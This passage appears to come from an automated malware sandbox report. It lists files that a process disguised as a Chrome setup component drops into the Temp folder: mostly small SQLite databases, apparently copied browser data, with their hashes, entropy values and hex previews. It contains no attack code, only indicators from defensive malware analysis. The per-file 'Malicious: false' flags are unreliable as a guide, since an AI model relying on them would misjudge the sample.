File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8439810553697228
Encrypted:	false
SSDEEP:	24:TLyAF1kwNbXYFpFNYcw+6UwcQVXH5fBO9p7n52GmCWGf+dyMDCFVE1:TeAFawNLopFgU10XJBOB2Gbf+ba+
MD5:	9D46F142BBCF25D0D495FF1F3A7609D3
SHA1:	629BD8CD800F9D5B078B5779654F7CBFA96D4D4E
SHA-256:	C11B443A512184E82D670BA6F7886E98B03C27CC7A3CEB1D20AD23FCA1DE57DA
SHA-512:	AC90306667AFD38F73F6017543BDBB0B359D79740FA266F587792A94FDD35B54CCE5F6D85D5F6CB7F4344BEDAD9194769ABB3864AAE7D94B4FD6748C31250AC2
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\u1OsIhjqMt

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\u3ZoWelDE8

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\u6J3CUujUp

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\uOaTvCsSJf

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\uplErSnSLX

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\uuijTOJoND

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\vD7AZCLniO

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\vpyz7TKQaA

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\vy9hsaNFB7

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\w0hUfPFBbI

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\wB1CyketiA

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\wCbpx4kstn

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\wKgZrAZ93X

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8439810553697228
Encrypted:	false
SSDEEP:	24:TLyAF1kwNbXYFpFNYcw+6UwcQVXH5fBO9p7n52GmCWGf+dyMDCFVE1:TeAFawNLopFgU10XJBOB2Gbf+ba+
MD5:	9D46F142BBCF25D0D495FF1F3A7609D3
SHA1:	629BD8CD800F9D5B078B5779654F7CBFA96D4D4E
SHA-256:	C11B443A512184E82D670BA6F7886E98B03C27CC7A3CEB1D20AD23FCA1DE57DA
SHA-512:	AC90306667AFD38F73F6017543BDBB0B359D79740FA266F587792A94FDD35B54CCE5F6D85D5F6CB7F4344BEDAD9194769ABB3864AAE7D94B4FD6748C31250AC2
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\wLKJxgTOLa

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\wOyeWmdfCp

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\wS4WcJFaei

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\wWiwBjI8kR

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\x5Rn3Q8BaP

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\xAXrYE6mFM

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	25
Entropy (8bit):	4.133660689688186
Encrypted:	false
SSDEEP:	3:FpX+sOJMQdc/n:9OJMh/
MD5:	E691A662FFE5469C9B5C1288C2D02D33
SHA1:	57F2AD000E6EBE63DF9154D33E2CA1CFE52516A5
SHA-256:	317479BC3ADA55F8931C8B7F9128E95AF462EA8D9E0CE8338A3C7387D027BE4C
SHA-512:	4D15C4A9F2ECC372C3888330EF89C5269D1F39A376F84AAD0E5C5BEE2674C592AD617C05CA9BBDD3AA913C07300CE3FD2594BE8AF14D13A3659099855BE9C411
Malicious:	false
Preview:	uu1CDuwBRxpKlGklZgEiCB89Z

C:\Users\user\AppData\Local\Temp\xKqh9uoL7A

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\xgdv3Xrwf3

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\xwFSS0KQHA

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\yJcDZqaDJ2

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ygGpwf3kc4

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\yw57I78enE

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
